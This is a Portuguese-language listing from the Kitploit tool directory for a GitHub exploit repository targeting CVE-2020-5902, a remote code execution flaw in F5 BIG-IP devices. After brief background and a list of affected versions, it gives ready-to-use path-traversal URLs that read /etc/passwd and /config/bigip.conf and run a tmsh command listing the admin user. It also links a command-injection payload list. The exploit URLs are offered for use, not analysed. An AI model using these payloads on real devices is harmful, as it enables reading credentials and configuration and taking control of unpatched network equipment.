Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
RCE-CVE-2020-5902 — BIG-IP F5 Execução Remota de Código | Kitploit
Ferramentas/GitHubGitHub/jsec1337/rce-cve-2020-5902
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e Controle
GitHubjsec1337/rce-cve-2020-5902

RCE-CVE-2020-5902

BIG-IP F5 Execução Remota de Código

Ver Repositório
11há 6 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

RCE-CVE-2020-5902

Execução Remota de Código no BIG-IP F5

Descrição

Estes ataques estão visando o BIG-IP, um dispositivo de rede multifuncional fabricado pela F5 Networks. Os dispositivos BIG-IP podem ser configurados para funcionar como sistemas de modelagem de tráfego, balanceadores de carga, firewalls, gateways de acesso, limitadores de taxa ou middleware SSL.

Na quarta-feira, a F5 Networks publicou patches e divulgou um aviso de segurança sobre uma vulnerabilidade de "execução remota de código" em dispositivos BIG-IP.

A F5 afirmou que a vulnerabilidade, rastreada como CVE-2020-5902, poderia permitir que atacantes assumissem o controle total de sistemas não corrigidos acessíveis na internet.

Version BIG-IP Vulnerable : 15.0.0-15.1.0.3, 14.*.*, 13.*.*, 12.*.*, 11.*.*
Vulnerability             : Remote Code Execution (RCE) 
Score CVE                 : 10/10

Exploração

https://<BIG-IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://BIG-IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

https://<BIG-IP>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

Verificação NMAP

Payload RCE

https://github.com/payloadbox/command-injection-payload-list

Referência

https://twitter.com/Nep_1337_1998/status/1279610946864820225

https://www.zdnet.com/article/hackers-are-trying-to-steal-admin-passwords-from-f5-big-ip-devices/

Baixar ferramenta